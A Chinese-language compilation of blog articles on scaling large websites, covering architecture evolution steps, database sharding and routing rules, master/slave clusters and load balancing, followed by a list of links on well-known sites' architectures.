在解决了这些问题后, 终于是把 webserver增加为了两台, 系统终于是又恢复到了以往的速度. 看看这一步完成后系统的图示:
这一步涉及到了这些知识体系: 负载均衡技术(包括但不限于硬件负载均衡、软件负载均衡、负载算法、 linux 转发协议、所选用的技术的实现细节等)、主备技术(包括但不限于 ARP欺骗、 linux heart-beat等)、状态信息或缓存同步技术(包括但不限于 Cookie技术、 UDP协议、状态信息广播、所选用的缓存同步技术的实现细节等)、共享文件技术(包括但不限于 NFS等)、存储技术(包括但不限于存储设备等).
架构演变第六步: 分库
享受了一段时间的系统访问量高速增长的幸福后, 发现系统又开始变慢了, 这次又是什么状况呢, 经过查找, 发现数据库写入、更新的这些操作的部分数据库连接的 资 源竞争非常激烈, 导致了系统变慢, 这下怎么办呢, 此时可选的方案有数据库集群和分库策略, 集群方面像有些数据库支持的并不是很好, 因此分库会成为比较普遍 的策略, 分库也就意味着要对原有程序进行修改, 一通修改实现分库后, 不错, 目标达到了, 系统恢复甚至速度比以前还快了. 看看这一步完成后系统的图示:这一步涉及到了这些知识体系: 这一步更多的是需要从业务上做合理的划分, 以实现分库, 具体技术细节上没有其他的要求; 但同时随着数据量的增大和分库的进行, 在数据库的设计 、调优以及维护上需要做的更好, 因此对这些方面的技术还是提出了很高的要求的.
架构演变第七步: 分表、 DAL和分布式缓存
随着系统的不断运行, 数据量开始大幅度增长, 这个时候发现分库后查询仍然会有些慢, 于是按照分库的思想开始做分表的工作, 当然, 这不可避免的会需要对程序 进行一些修改, 也许在这个时候就会发现应用自己要关心分库分表的规则等, 还是有些复杂的, 于是萌生能否增加一个通用的框架来实现分库分表的数据访问, 这个在 ebay的架构中对应的就是 DAL, 这个演变的过程相对而言需要花费较长的时间, 当然, 也有可能这个通用的框架会等到分表做完后才开始做, 同时, 在这个阶段可 能会发现之前的缓存同步方案出现问题, 因为数据量太大, 导致现在不太可能将缓存存在本地, 然后同步的方式, 需要采用分布式缓存方案了, 于是, 又是一通考察和折磨, 终于是将大量的数据缓存转移到分布式缓存上了. 看看这一步完成后系统的图示:这一步涉及到了这些知识体系: 分表更多的同样是业务上的划分, 技术上涉及到的会有动态 hash算法、 consistent hash算法等;DAL涉及到比较多的复杂技术, 例如数据库连接的管理(超时、异常)、数据库操作的控制(超时、异常)、分库分表规则的封装等;
架构演变第八步: 增加更多的 webserver
在做完分库分表这些工作后, 数据库上的压力已经降到比较低了, 又开始过着每天看着访问量暴增的幸福生活了, 突然有一天, 发现系统的访问又开始有变慢的趋势 了, 这个时候首先查看数据库, 压力一切正常, 之后查看 webserver, 发现 apache 阻塞了很多的请求, 而应用服务器对每个请求也是比较快的, 看来 是请求数太高导致需要排队等待, 响应速度变慢, 这还好办, 一般来说, 这个时候也会有些钱了, 于是添加一些 webserver服务器, 在这个添加 webserver服务器的过程, 有可能会出现几种挑战:
- Apache的软负载或 LVS软负载等无法承担巨大的 web访问量(请求连接数、网络流量等)的调度了, 这个时候如果经费允许的话, 会采取的方案是购 买硬件负载, 例如 F5、 Netsclar、 Athelon之类的, 如经费不允许的话, 会采取的方案是将应用从逻辑上做一定的分类, 然后分散到不同的软负载集群中;
- 原有的一些状态信息同步、文件共享等方案可能会出现瓶颈, 需要进行改进, 也许这个时候会根据情况编写符合网站业务需求的分布式文件系统等; 在做完这些工作后, 开始进入一个看似完美的无限伸缩的时代, 当网站流量增加时, 应对的解决方案就是不断的添加 webserver.
看看这一步完成后系统的图示:
这一步涉及到了这些知识体系:
到了这一步, 随着机器数的不断增长、数据量的不断增长和对系统可用性的要求越来越高, 这个时候要求对所采用的技术都要有更为深入的理解, 并需要根据网站的需求来做更加定制性质的产品.
架构演变第九步: 数据读写分离和廉价存储方案
突然有一天, 发现这个完美的时代也要结束了, 数据库的噩梦又一次出现在眼前了, 由于添加的 webserver太多了, 导致数据库连接的资源还是不够用, 而这个时候又已经分库分表了, 开始分析数据库的压力状况, 可能会发现数据库的读写比很高, 这个时候通常会想到数据读写分离的方案, 当然, 这个方案要实现并不 容易, 另外, 可能会发现一些数据存储在数据库上有些浪费, 或者说过于占用数据库资源, 因此在这个阶段可能会形成的架构演变是实现数据读写分离, 同时编写一些更为廉价的存储方案, 例如 BigTable这种. 看看这一步完成后系统的图示:
这一步涉及到了这些知识体系:
数据读写分离要求对数据库的复制、 standby等策略有深入的掌握和理解, 同时会要求具备自行实现的技术;廉价存储方案要求对 OS的文件存储有深入的掌握和理解, 同时要求对采用的语言在文件这块的实现有深入的掌握.
架构演变第十步: 进入大型分布式应用时代和廉价服务器群梦想时代
经过上面这个漫长而痛苦的过程, 终于是再度迎来了完美的时代, 不断的增加 webserver就可以支撑越来越高的访问量了, 对于大型网站而言, 人气的重要毋 庸置疑, 随着人气的越来越高, 各种各样的功能需求也开始爆发性的增长, 这个时候突然发现, 原来部署在 webserver上的那个 web应用已经非常庞大 了, 当多个团队都开始对其进行改动时, 可真是相当的不方便, 复用性也相当糟糕, 基本是每个团队都做了或多或少重复的事情, 而且部署和维护也是相当的麻烦, 因为庞大的应用包在 N台机器上复制、启动都需要耗费不少的时间, 出问题的时候也不是很好查, 另外一个更糟糕的状况是很有可能会出现某个应用上的 bug就导 致了全站都不可用, 还有其他的像调优不好操作(因为机器上部署的应用什么都要做, 根本就无法进行针对性的调优)等因素, 根据这样的分析, 开始痛下决心, 将 系统根据职责进行拆分, 于是一个大型的分布式应用就诞生了, 通常, 这个步骤需要耗费相当长的时间, 因为会碰到很多的挑战:- 拆成分布式后需要提供一个高性能、稳定的通信框架, 并且需要支持多种不同的通信和远程调用方式;
- 将一个庞大的应用拆分需要耗费很长的时间, 需要进行业务的整理和系统依赖关系的控制等;
- 如何运维(依赖管理、运行状况管理、错误 追踪、调优、监控和报警等)好这个庞大的分布式应用.
经过这一步, 差不多系统的架构进入相对稳定的阶段, 同时也能开始采用大量的廉价机器来支撑着巨大的访问量和数据量, 结合这套架构以及这么多次演变过程吸取的经验来采用其他各种各样的方法来支撑着越来越高的访问量.
看看这一步完成后系统的图示:
这一步涉及到了这些知识体系: 这一步涉及的知识体系非常的多, 要求对通信、远程调用、消息机制等有深入的理解和掌握, 要求的都是从理论、硬件级、操作系统级以及所采用的语言的实现都有清楚的理解. 运维这块涉及的知识体系也非常的多, 多数情况下需要掌握分布式并行计算、报表、监控技术以及规则策略等等. 说起来确实不怎么费力, 整个网站架构的经典演变过程都和上面比较的类似, 当然, 每步采取的方案, 演变的步骤有可能有不同, 另外, 由于网站的业务不同, 会有不同的专业技术的需求, 这篇 blog更多的是从架构的角度来讲解演变的过程, 当然, 其中还有很多的技术也未在此提及, 像数据库集群、数据挖掘、搜索 等, 但在真实的演变过程中还会借助像提升硬件配置、网络环境、改造操作系统、 CDN镜像等来支撑更大的流量, 因此在真实的发展过程中还会有很多的不同, 另外一个大型网站要做到的远远不仅仅上面这些, 还有像安全、运维、运营、服务、存储等, 要做好一个大型的网站真的很不容易, 写这篇文章更多的是希望能够引出更多大型网站架构演变的介绍.
数据库水平切分的实现原理解析-分库,分表,主从,集群,负载均衡器
网址: http://www.zhenhua.org/article.asp?id=685
关键字: 水平切分,分库,分表,主从,集群
第1章 引言
随着互联网应用的广泛普及,海量数据的存储和访问成为了系统设计的瓶颈问题。对于一个大型的 互联网应用,每天几十亿的PV无疑对数据库造成了相当高的负载。对于系统的稳定性和扩展性造成了极大的问题。通过数据切分来提高网站性能,横向扩展数据层 已经成为架构研发人员首选的方式。水平切分数据库,可以降低单台机器的负载,同时最大限度的降低了了宕机造成的损失。通过负载均衡策略,有效的降低了单台 机器的访问负载,降低了宕机的可能性;通过集群方案,解决了数据库宕机带来的单点数据库不能访问的问题;通过读写分离策略更是最大限度了提高了应用中读取 (Read)数据的速度和并发量。目前国内的大型互联网应用中,大量的采用了这样的数据切分方案,Taobao,Alibaba,Tencent,它们大 都实现了自己的分布式数据访问层(DDAL)。以实现方式和实现的层次来划分,大概分为两个层次(Java应用为例):JDBC层的封装,ORM框架层的 实现。就JDBC层的直接封装而言,现在国内发展较好的一个项目是被称作“变形虫”(Amoeba)的项目,由阿里集团的研究院开发,现在仍然处于测试阶 段(beta版),其运行效率和生产时效性有待考究。就ORM框架层的实现而言,比如Taobao的基于ibatis和Spring的的分布式数据访问 层,已有多年的应用,运行效率和生产实效性得到了开发人员和用户的肯定。本文就是以ORM框架层为基础而实现的分布式数据访问层。本课题的难点在于分库 后,路由规则的制定和选择以及后期的扩展性,比如:如何做到用最少的数据迁移量,达到扩充数据库容量(增加机器节点)的目的。核心问题将围绕数据库分库分 表的路由规则和负载均衡策略展开。
第2章 基本原理和概念
2.1基本原理:
人类认知问题的过程总是这样的:what(什么)-?why(为什么)-?how(怎么
做),接下来,本文将就这三个问题展开讨论和研究:
2.1.1什么是数据切分
"Shard" 这个词英文的意思是"碎片",而作为数据库相关的技术用语,似乎最早见于大型多人在线角色扮演游戏中。"Sharding" 姑且称之为"分片"。Sharding 不是一门新技术,而是一个相对简朴的软件理念。众所周知,MySQL 5 之后才有了数据表分区功能,那么在此之前,很多 MySQL 的潜在用户都对 MySQL 的扩展性有所顾虑,而是否具备分区功能就成了衡量一个数据库可扩展性与否的一个关键指标(当然不是唯一指标)。数据库扩展性是一个永恒的话题,MySQL 的推广者经常会被问到:如在单一数据库上处理应用数据捉襟见肘而需要进行分区化之类的处理,是如何办到的呢? 答案是:Sharding。 Sharding 不是一个某个特定数据库软件附属的功能,而是在具体技术细节之上的抽象处理,是水平扩展(Scale Out,亦或横向扩展、向外扩展)的解决方案,其主要目的是为突破单节点数据库服务器的 I/O 能力限制,解决数据库扩展性问题。
通过一系列的切分规则将数据水平分布到不同的DB或table中,在通过相应的DB路由 或者 table路由规则找到需要查询的具体的DB或者table,以进行Query操作。这里所说的“sharding”通常是指“水平切分”, 这也是本文讨 论的重点。具体将有什么样的切分方式呢和路由方式呢?行文至此,读者难免有所疑问,接下来举个简单的例子:我们针对一个Blog应用中的日志来说明, 比如日志文章(article)表有如下字段:
面对这样的一个表,我们怎样切分呢?怎样将这样的数据分布到不同的数据库中的表中去呢?其实 分析blog的应用,我们不难得出这样的结论:blog的应用中,用户分为两种:浏览者和blog的主人。浏览者浏览某个blog,实际上是在一个特定的 用户的blog下进行浏览的,而blog的主人管理自己的blog,也同样是在特定的用户blog下进行操作的(在自己的空间下)。所谓的特定的用户,用 数据库的字段表示就是“user_id”。就是这个“user_id”,它就是我们需要的分库的依据和规则的基础。我们可以这样做,将user_id为 1~10000的所有的文章信息放入DB1中的article表中,将user_id为10001~20000的所有文章信息放入DB2中的 article表中,以此类推,一直到DBn。 这样一来,文章数据就很自然的被分到了各个数据库中,达到了数据切分的目的。接下来要解决的问题就是怎样找 到具体的数据库呢?其实问题也是简单明显的,既然分库的时候我们用到了区分字段user_id,那么很自然,数据库路由的过程当然还是少不了 user_id的。考虑一下我们刚才呈现的blog应用,不管是访问别人的blog还是管理自己的blog,总之我都要知道这个blog的用户是谁吧,也 就是我们知道了这个blog的user_id,就利用这个user_id,利用分库时候的规则,反过来定位具体的数据库,比如user_id是234,利 用该才的规则,就应该定位到DB1,假如user_id是12343,利用该才的规则,就应该定位到DB2。以此类推,利用分库的规则,反向的路由到具体 的DB,这个过程我们称之为“DB路由”。
当然考虑到数据切分的DB设计必然是非常规,不正统的DB设计。那么什么样的DB设计是正统的DB设计呢?
我们平常规规矩矩用的基本都是。平常我们会自觉的按照范式来设计我们的数据库,负载高点可能 考虑使用相关的Replication机制来提高读写的吞吐和性能,这可能已经可以满足很多需求,但这套机制自身的缺陷还是比较显而易见的(下文会提 及)。上面提到的“自觉的按照范式设计”。考虑到数据切分的DB设计,将违背这个通常的规矩和约束,为了切分,我们不得不在数据库的表中出现冗余字段,用 作区分字段或者叫做分库的标记字段,比如上面的article的例子中的user_id这样的字段(当然,刚才的例子并没有很好的体现出user_id的 冗余性,因为user_id这个字段即使就是不分库,也是要出现的,算是我们捡了便宜吧)。当然冗余字段的出现并不只是在分库的场景下才出现的,在很多大 型应用中,冗余也是必须的,这个涉及到高效DB的设计,本文不再赘述。
2.1.2为什么要数据切分
上面对什么是数据切分做了个概要的描述和解释,读者可能会疑问,为什么需要数据切分呢?像 Oracle这样成熟稳定的数据库,足以支撑海量数据的存储与查询了?为什么还需要数据切片呢?的确,Oracle的DB确实很成熟很稳定,但是高昂的使 用费用和高端的硬件支撑不是每一个公司能支付的起的。试想一下一年几千万的使用费用和动辄上千万元的小型机作为硬件支撑,这是一般公司能支付的起的吗?即 使就是能支付的起,假如有更好的方案,有更廉价且水平扩展性能更好的方案,我们为什么不选择呢?
但是,事情总是不尽人意。平常我们会自觉的按照范式来设计我们的数据库,负载高点可能考虑使 用相关的Replication机制来提高读写的吞吐和性能,这可能已经可以满足很多需求,但这套机制自身的缺陷还是比较显而易见的。首先它的有效很依赖 于读操作的比例,Master往往会成为瓶颈所在,写操作需要顺序排队来执行,过载的话Master首先扛不住,Slaves的数据同步的延迟也可能比较 大,而且会大大耗费CPU的计算能力,因为write操作在Master上执行以后还是需要在每台slave机器上都跑一次。这时候 Sharding可能会成为鸡肋了。 Replication搞不定,那么为什么Sharding可以工作呢?道理很简单,因为它可以很好的扩展。我们知道每台机器无论配置多么好它都有自身的 物理上限,所以当我们应用已经能触及或远远超出单台机器的某个上限的时候,我们惟有寻找别的机器的帮助或者继续升级的我们的硬件,但常见的方案还是横向扩 展, 通过添加更多的机器来共同承担压力。我们还得考虑当我们的业务逻辑不断增长,我们的机器能不能通过线性增长就能满足需求?Sharding可以轻松的将计 算,存储,I/O并行分发到多台机器上,这样可以充分利用多台机器各种处理能力,同时可以避免单点失败,提供系统的可用性,进行很好的错误隔离。
综合以上因素,数据切分是很有必要的,且我们在此讨论的数据切分也是将MySql作为背景 的。基于成本的考虑,很多公司也选择了Free且Open的MySql。对MySql有所了解的开发人员可能会知道,MySQL 5 之后才有了数据表分区功能,那么在此之前,很多 MySQL 的潜在用户都对 MySQL 的扩展性有所顾虑,而是否具备分区功能就成了衡量一个数据库可扩展性与否的一个关键指标(当然不是唯一指标)。数据库扩展性是一个永恒的话题,MySQL 的推广者经常会被问到:如在单一数据库上处理应用数据捉襟见肘而需要进行分区化之类的处理,是如何办到的呢? 答案也是Sharding,也就是我们所说的数据切分方案。
我们用免费的MySQL和廉价的Server甚至是PC做集群,达到小型机+大型商业DB的效果,减少大量的资金投入,降低运营成本,何乐而不为呢?所以,我们选择Sharding,拥抱Sharding。
2.1.3怎么做到数据切分
说到数据切分,再次我们讲对数据切分的方法和形式进行比较详细的阐述和说明。
数据切分可以是物理上的,对数据通过一系列的切分规则将数据分布到不同的DB服务器上,通过路由规则路由访问特定的数据库,这样一来每次访问面对的就不是单台服务器了,而是N台服务器,这样就可以降低单台机器的负载压力。
数据切分也可以是数据库内的 ,对数据通过一系列的切分规则,将数据分布到一个数据库的不同表 中,比如将article分为article_001,article_002等子表,若干个子表水平拼合有组成了逻辑上一个完整的article表,这 样做的目的其实也是很简单的。 举个例子说明,比如article表中现在有5000w条数据,此时我们需要在这个表中增加(insert)一条新的数 据,insert完毕后,数据库会针对这张表重新建立索引,5000w行数据建立索引的系统开销还是不容忽视的。但是反过来,假如我们将这个表分成100 个table呢,从article_001一直到article_100,5000w行数据平均下来,每个子表里边就只有50万行数据,这时候我们向一张 只有50w行数据的table中insert数据后建立索引的时间就会呈数量级的下降,极大了提高了DB的运行时效率,提高了DB的并发量。当然分表的好 处还不知这些,还有诸如写操作的锁操作等,都会带来很多显然的好处。
综上,分库降低了单点机器的负载;分表,提高了数据操作的效率,尤其是Write操作的效率。 行文至此我们依然没有涉及到如何切分的问题。接下来,我们将对切分规则进行详尽的阐述和说明。
上文中提到,要想做到数据的水平切分,在每一个表中都要有相冗余字符 作为切分依据和标记字段,通常的应用中我们选用user_id作为区分字段,基于此就有如下三种分库的方式和规则: (当然还可以有其他的方式)
按号段分:
(1) user_id为区分,1~1000的对应DB1,1001~2000的对应DB2,以此类推;
优点:可部分迁移
缺点:数据分布不均
(2)hash取模分:
对user_id进行hash(或者如果user_id是数值型的话直接使用user_id 的值也可),然后用一个特定的数字,比如应用中需要将一个数据库切分成4个数据库的话,我们就用4这个数字对user_id的hash值进行取模运算,也 就是user_id%4,这样的话每次运算就有四种可能:结果为1的时候对应DB1;结果为2的时候对应DB2;结果为3的时候对应DB3;结果为0的时 候对应DB4,这样一来就非常均匀的将数据分配到4个DB中。
优点:数据分布均匀
缺点:数据迁移的时候麻烦,不能按照机器性能分摊数据
(3)在认证库中保存数据库配置
就是建立一个DB,这个DB单独保存user_id到DB的映射关系,每次访问数据库的时候都要先查询一次这个数据库,以得到具体的DB信息,然后才能进行我们需要的查询操作。
优点:灵活性强,一对一关系
缺点:每次查询之前都要多一次查询,性能大打折扣
以上就是通常的开发中我们选择的三种方式,有些复杂的项目中可能会混合使用这三种方式。 通过上面的描述,我们对分库的规则也有了简单的认识和了解。当然还会有更好更完善的分库方式,还需要我们不断的探索和发现。
第3章 本课题研究的基本轮廓
上面的文字,我们按照人类认知事物的规律,what?why?how这样的方式阐述了数据库 切分的一些概念和意义以及对一些常规的切分规则做了概要的介绍。本课题所讨论的分布数据层并不仅仅如此,它是一个完整的数据层解决方案,它到底是什么样的 呢?接下来的文字,我将详细阐述本研究课题的完整思想和实现方式。
分布式数据方案提供功能如下:
(1)提供分库规则和路由规则(RouteRule简称RR),将上面的说明中提到的三中切分规则直接内嵌入本系统,具体的嵌入方式在接下来的内容中进行详细的说明和论述;
(2)引入集群(Group)的概念,保证数据的高可用性;
(3)引入负载均衡策略(LoadBalancePolicy简称LB);
(4)引入集群节点可用性探测机制,对单点机器的可用性进行定时的侦测,以保证LB策略的正确实施,以确保系统的高度稳定性;
(5)引入读/写分离,提高数据的查询速度;
仅仅是分库分表的数据层设计也是不够完善的,当某个节点上的DB服务器出现了宕机的情况的时 候,会是什么样的呢?是的,我们采用了数据库切分方案,也就是说有N太机器组成了一个完整的DB ,如果有一台机器宕机的话,也仅仅是一个DB的N分之一的 数据不能访问而已,这是我们能接受的,起码比切分之前的情况好很多了,总不至于整个DB都不能访问。一般的应用中,这样的机器故障导致的数据无法访问是可 以接受的,假设我们的系统是一个高并发的电子商务网站呢?单节点机器宕机带来的经济损失是非常严重的。也就是说,现在我们这样的方案还是存在问题的,容错 性能是经不起考验的。当然了,问题总是有解决方案的。我们引入集群的概念,在此我称之为Group,也就是每一个分库的节点我们引入多台机器,每台机器保 存的数据是一样的,一般情况下这多台机器分摊负载,当出现宕机情况,负载均衡器将分配负载给这台宕机的机器。这样一来,
就解决了容错性的问题。所以我们引入了集群的概念,并将其内嵌入我们的框架中,成为框架的一部分。
如上图所示,整个数据层有Group1,Group2,Group3三个集群组成,这三个集 群就是数据水平切分的结果,当然这三个集群也就组成了一个包含完整数据的DB。每一个Group包括1个Master(当然Master也可以是多个)和 N个Slave,这些Master和Slave的数据是一致的。 比如Group1中的一个slave发生了宕机现象,那么还有两个slave是可以用的,这样的模型总是不会造成某部分数据不能访问的问题,除非整个 Group里的机器全部宕掉,但是考虑到这样的事情发生的概率非常小(除非是断电了,否则不易发生吧)。
在没有引入集群以前,我们的一次查询的过程大致如下:请求数据层,并传递必要的分库区分字段 (通常情况下是user_id)?数据层根据区分字段Route到具体的DB?在这个确定的DB内进行数据操作。 这是没有引入集群的情况,当时引入集群会 是什么样子的呢?看图一即可得知,我们的路由器上规则和策略其实只能路由到具体的Group,也就是只能路由到一个虚拟的Group,这个Group并不 是某个特定的物理服务器。接下来需要做的工作就是找到具体的物理的DB服务器,以进行具体的数据操作。基于这个环节的需求,我们引入了负载均衡器的概念 (LB)。负载均衡器的职责就是定位到一台具体的DB服务器。具体的规则如下:负载均衡器会分析当前sql的读写特性,如果是写操作或者是要求实时性很强 的操作的话,直接将查询负载分到Master,如果是读操作则通过负载均衡策略分配一个Slave。我们的负载均衡器的主要研究放向也就是负载分发策略, 通常情况下负载均衡包括随机负载均衡和加权负载均衡 。 随机负载均衡很好理解,就是从N个Slave中随机选取一个Slave。这样的随机负载均衡是不考虑 机器性能的,它默认为每台机器的性能是一样的。假如真实的情况是这样的,这样做也是无可厚非的。假如实际情况并非如此呢?每个Slave的机器物理性能和 配置不一样的情况,再使用随机的不考虑性能的负载均衡,是非常不科学的,这样一来会给机器性能差的机器带来不必要的高负载,甚至带来宕机的危险, 同时高性 能的数据库服务器也不能充分发挥其物理性能。基于此考虑从,我们引入了加权负载均衡,也就是在我们的系统内部通过一定的接口,可以给每台DB服务器分配一 个权值,然后再运行时LB根据权值在集群中的比重,分配一定比例的负载给该DB服务器。当然这样的概念的引入,无疑增大了系统的复杂性和可维护性。有得必 有失,我们也没有办法逃过的。
有了分库,有了集群,有了负载均衡器,是不是就万事大吉了呢? 事情远没有我们想象的那么简 单。虽然有了这些东西,基本上能保证我们的数据层可以承受很大的压力 ,但是这样的设计并不能完全规避数据库宕机的危害。假如Group1中的slave2 宕机了,那么系统的LB并不能得知,这样的话其实是很危险的,因为LB不知道,它还会以为slave2为可用状态,所以还是会给slave2分配负载。这 样一来,问题就出来了,客户端很自然的就会发生数据操作失败的错误或者异常。这样是非常不友好的!怎样解决这样的问题呢? 我们引入集群节点的可用性探测机 制 ,或者是可用性的数据推送机制 。这两种机制有什么不同呢?首先说探测机制吧,顾名思义,探测即使,就是我的数据层客户端,不定时对集群中各个数据库进行 可用性的尝试,实现原理就是尝试性链接,或者数据库端口的尝试性访问,都可以做到,当然也可以用JDBC尝试性链接,利用Java的Exception机 制进行可用性的判断,具体的会在后面的文字中提到。那数据推送机制又是什么呢?其实这个就要放在现实的应用场景中来讨论这个问题了,一般情况下应用的DB 数据库宕机的话我相信DBA肯定是知道的,这个时候DBA手动的将数据库的当前状态通过程序的方式推送到客户端,也就是分布式数据层的应用端,这个时候在 更新一个本地的DB状态的列表。并告知LB,这个数据库节点不能使用,请不要给它分配负载。一个是主动的监听机制,一个是被动的被告知的机制。两者各有所 长。但是都可以达到同样的效果。这样一来刚才假设的问题就不会发生了,即使就是发生了,那么发生的概率也会降到最低。
上面的文字中提到的Master和Slave ,我们并没有做太多深入的讲解。如图一所示,一 个Group由1个Master和N个Slave组成。为什么这么做呢?其中Master负责写操作的负载,也就是说一切写的操作都在Master上进 行,而读的操作则分摊到Slave上进行。这样一来的可以大大提高读取的效率。在一般的互联网应用中,经过一些数据调查得出结论,读/写的比例大概在 10:1左右 ,也就是说大量的数据操作是集中在读的操作,这也就是为什么我们会有多个Slave的原因。但是为什么要分离读和写呢?熟悉DB的研发人员都 知道,写操作涉及到锁的问题,不管是行锁还是表锁还是块锁,都是比较降低系统执行效率的事情。我们这样的分离是把写操作集中在一个节点上,而读操作其其他 的N个节点上进行,从另一个方面有效的提高了读的效率,保证了系统的高可用性。读写分离也会引入新的问题,比如我的Master上的数据怎样和集群中其他 的Slave机器保持数据的同步和一致呢?这个是我们不需要过多的关注的问题,MySql的Proxy机制可以帮助我们做到这点,由于Proxy机制与本 课题相关性不是太强,
在这里不做详细介绍。
综上所述,本课题中所研究的分布式数据层的大体功能就是如此。以上是对基本原理的一些讨论和阐述。接下来就系统设计层面,进行深入的剖析和研究。
第4章 系统设计
4.1系统实现层面的选择
在引言部分中提到,该系统的实现层面有两种选择,一种是基于JDBC层面上的选择,一种是基 于现有数据持久层框架层面上的选择,比如Hibernate,ibatis。两种层面各有长处,也各有不足之处。基于JDBC层面上的系统实现,系统开发 难度和后期的使用难度都将大大提高。大大增加了系统的开发费用和维护费用。本课题的定位是在成型的ibatis持久层框架的基础上进行上层的封装,而不是 对ibatis源码的直接修改,这样一来使本系统不会对现有框架有太多的侵入性,从而也增加了使用的灵活性。之所以选择ibatis,原因如下:
(1)ibatis的学习成本非常低,熟练的Java Programmer可在非常的短时间内熟练使用ibatis;
(2)ibatis是轻量级的ORM,只是简单的完成了RO,OR的映射,其查询语句也是通 过配置文件sql-map.xml文件在原生sql的层面进行简单的配置,也就是说我们没有引入诸如Hibernate那样的HQL的概念,从而增强了 sql的可控性,优秀的DBA可以很好的从sql的层面对sql进行优化,使数据层的应用有很强的可控性。Hibernate虽然很强大,但是由于 Hibernate是OR的一个重型封装,且引入HQL的概念,不便于DBA团队对sql语句的控制和性能的调优。
基于以上两点理由,本课题在ORM的产品的选择上选择了易学易用且轻量级的持久层框架ibatis。下面的讨论也都是特定于ibatis的基础上的讨论。
4.2其他开源框架的选择
在一些大型的Java应用中,我们通常会采用Spring这样的开源框架,尤其是 IoC(DI)这部分,有效的帮助开发人员管理对象的依赖关系和层次,降低系统各层次之间的实体耦合。Spring的优点和用处我相信这是开发人员众所周 知的,在此不再赘述。本课题的数据层也将采用Spring做为IoC(DI)的框架。
4.3系统开发技术和工具介绍
开发语言:Java JDK1.5
集成开发环境:Eclipse 3.3.4
Web环境下测试服务器:JBoss 4.2
构建工具:淘宝自行研发的构建工具Antx(类似于Maven),当然也可以用Maven
依赖的开源Jar:Spring2.0,ibaits,commons-configuration(读取配置文件),log4j,junit等
网站架构收集
图片服务器的hash架构 http://sudone.com/archie/image_hash.html
天涯bbs系统架构分析 http://sudone.com/archie/tianya.cn.html
v.2008.163.com对新架构的尝试 http://sudone.com/archie/v.2008.163.com.html
nginx和squid配合搭建的web服务器前端系统 http://sudone.com/archie/app_nginx_squid.html
nginx作为最前端的web cache系统 http://sudone.com/archie/app-nginx-squid-nginx.html
新型的大型bbs架构(squid+nginx) http://sudone.com/archie/archi_bbs.html
当前比较适用的海量小文件系统架构方案 http://sudone.com/archie/big_filesystem.html
nginx图片服务器的架构方案 http://sudone.com/archie/nginx_pic.html
来源:
http://www.hiadmin.com/
WikiPedia 技术架构习分享
YouTube 的架构扩展
YouTube 的架构扩展
Internet Archive 的海量存储浅析
http://www.dbanotes.net/database/internet_archive_storage.html
LinkedIn 架构笔记
http://www.dbanotes.net/arch/linkedin.html
Tailrank 网站架构
http://www.dbanotes.net/review/tailrank_arch.html
Twitter 的架构扩展: 100 倍性能提升
http://www.dbanotes.net/arch/twitter_arch.html
财帮子(caibangzi.com)网站架构
http://www.dbanotes.net/arch/caibangzi_web_arch.html
Yupoo! 的网站技术架构
http://www.dbanotes.net/arch/yupoo_arch.html
37Signals 架构
http://www.dbanotes.net/arch/37signals_arch.html
Flickr 的访问统计实现以及其他
http://www.dbanotes.net/arch/flickr_stats_and_dathan.html
PlentyOfFish 网站架构学习
http://www.dbanotes.net/arch/plentyoffish_arch.html
Yahoo!社区架构
http://www.dbanotes.net/arch/yahoo_arch.html
有关 Alexa 与 AOL 部署集群文件系统
http://www.dbanotes.net/arch/alexa_ibrix_san_file_system.html
eBay 的存储一瞥
http://www.dbanotes.net/arch/ebay_storage.html
eBay 的数据量
http://www.dbanotes.net/database/ebay_storage.html
eBay 的数据库分布扩展架构
http://www.dbanotes.net/database/ebay_database_scale_out.html
eBay 的数据层扩展经验
http://www.dbanotes.net/arch/ebay_db_scale_out.html
eBay 的应用服务器规模
http://www.dbanotes.net/web/ebay_application_server.html
性能扩展问题要趁早
http://www.dbanotes.net/arch/scaling_an_early_stage_startup.html
Scaling an early stage startup
http://www.scribd.com/doc/429986/Scaling-an-early-stage-startup
Facebook 的 PHP 性能与扩展性
http://www.dbanotes.net/arch/facebook_php.html
Skype 用 PostgreSQL 支撑海量用户
http://www.dbanotes.net/arch/skype_postgresql.html
闲谈 Web 图片服务器
http://www.dbanotes.net/web/web_image_server.html
说说北京奥运购票系统瘫痪这事儿
http://www.dbanotes.net/review/beijing_olympic_ticketes_system_crash.html
Architectures You’ve Always Wondered About
http://qcon.infoq.com/london-2008/tracks/show_track.jsp?trackOID=82
eBay’s Architectural Principles
http://www.eos1.dk/qcon-london-2008/slides/RandyShoup_eBaysArchitecturalPrinciples.pdf
Building a large scale SaaS app
http://www.eos1.dk/qcon-london-2008/slides/Dan_Hanley_Building_a_large_scale_SaaS_app.pdf
Scaling an early stage startup
http://www.flashmov.com/blog_1632.html
QQ游戏百万人同时在线服务器架构实现
http://www.libing.net.cn/read.php?41
大型Web2.0站点构建技术初探
http://blog.csdn.net/heiyeshuwu/archive/2007/11/18/1890793.aspx
Web站点数据库分布存储浅谈
http://blog.csdn.net/heiyeshuwu/archive/2007/11/18/1891639.aspx
htQQ的架构讨论
http://venublog.com/2008/04/16/notes-from-scaling-mysql-up-or-out/
Yapache-Yahoo! Apache 的秘密
http://www.dbanotes.net/web/yapache_yahoo_apache.html
LinkedIn 架构与开发过程
http://www.dbanotes.net/arch/linkedin_soa.html
Scalability Best Practices: Lessons from eBay
http://www.infoq.com/articles/ebay-scalability-best-practices
看 Twitter 人谈架构扩展问题
http://www.dbanotes.net/arch/twitter_interview.html
Facebook 海量数据处理
http://www.dbanotes.net/arch/facebook_photos_arch.html
web 2.0海量小文件cache集群探讨
http://www.ourlinux.net/operation-tips/web20-small-file-cache-cluster/
Cocolog 从 PostgreSQL 迁移到 MySQL 的经验
http://www.dbanotes.net/arch/cocolog_postgresql_mysql.html
疯狂代码:大型网站架构系列(未完待续)收藏
http://blog.csdn.net/heiyeshuwu/archive/2008/10/01/3006964.aspx
Amazon Architecture
http://highscalability.com/amazon-architecture
Scaling Twitter
http://highscalability.com/scaling-twitter-making-twitter-10000-percent-faster
37signals Architecture
http://highscalability.com/37signals-architecture
Digg Architecture
http://highscalability.com/digg-architecture
Flickr Architecture
http://highscalability.com/flickr-architecture
YouTube Architecture
http://highscalability.com/youtube-architecture
Google Architecture
http://highscalability.com/google-architecture
LiveJournal’s Backend
http://www.danga.com/words/2005_mysqlcon/mysql-slides-2005.pdf
LiveJournal Architecture
http://highscalability.com/livejournal-architecture
eBay Architecture
http://highscalability.com/ebay-architecture
LinkedIn Architecture
http://highscalability.com/linkedin-architecture-0
Apr 1st, 2010 18:39:30
